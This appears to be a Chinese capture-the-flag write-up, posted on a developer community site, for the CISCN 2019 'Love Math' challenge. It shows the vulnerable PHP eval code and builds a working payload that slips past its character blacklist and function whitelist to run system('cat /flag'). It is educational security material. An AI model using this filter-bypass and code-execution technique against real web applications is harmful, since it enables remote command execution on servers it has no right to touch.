前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[CISCN 2019 初赛]Love Math题解

[CISCN 2019 初赛]Love Math题解

作者头像
KevinBruce
发布2020-03-19 10:40:53
1.6K0
发布2020-03-19 10:40:53
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习

[CISCN 2019 初赛]Love Math

该题的题目页面是一段代码,代码如下:

代码语言:javascript
复制
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

如果想得到flag,需要向该页面提交一个c参数,长度不超过80,且限制了很多符号比如常见的空白符号,引号和中括号。同时如果使用函数,函数名必须在白名单中,最终构造好的内容如果通过了限制会被eval执行。

很明显,如果要得到flag只靠几个数学函数是没有希望的,需要想办法调用system函数。一种理想的payload是下面这样的:

代码语言:javascript
复制
c=system("cat /flag")
//flag目录结合具体题目

但是如何绕过函数和引号的限制呢?引号其实可以删掉,删掉引号命令还是可以执行。对于函数,可以利用动态函数的性质,即字符串做函数名,加上括号即可被当作函数执行:

代码语言:javascript
复制
c=($_GET[a])($_GET[b])

在上面的例子中,如果a=syetem,b=cat /flag,即可执行system(cat /flag)。

完整的payload如下:

代码语言:javascript
复制
c=($_GET[a])($_GET[b])&a=system&b=cat /flag

由于参数只检查c,所以a和b可以随便操作,接下来问题的关键就是,如何绕过c的检查。

白名单用来检测c中出现的变量名,因此a,b不能出现,但是可以用白名单中的值,比如abs,cos。GET中括号和和GET本身都不能出现,中括号可以用{}替代,因此这道题的核心就是构造_GET。构造如下:

代码语言:javascript
复制
base_convert(37907361743,10,36)(dechex(1598506324))

解释

base_convert(37907361743,10,36)=>"hex2bin",dechex(1598506324)=>"5f474554",hex2bin("5f474554")=>_GET

为了不让结果太长,需要用一个白名单变量来保存上述值,最好用最短的pi,否则长度很容易超限制。

至此,问题基本得以解决,最终的payload为

代码语言:javascript
复制
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

c的长度刚好为79,差一点点就完蛋了。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-03-11 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • [CISCN 2019 初赛]Love Math
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档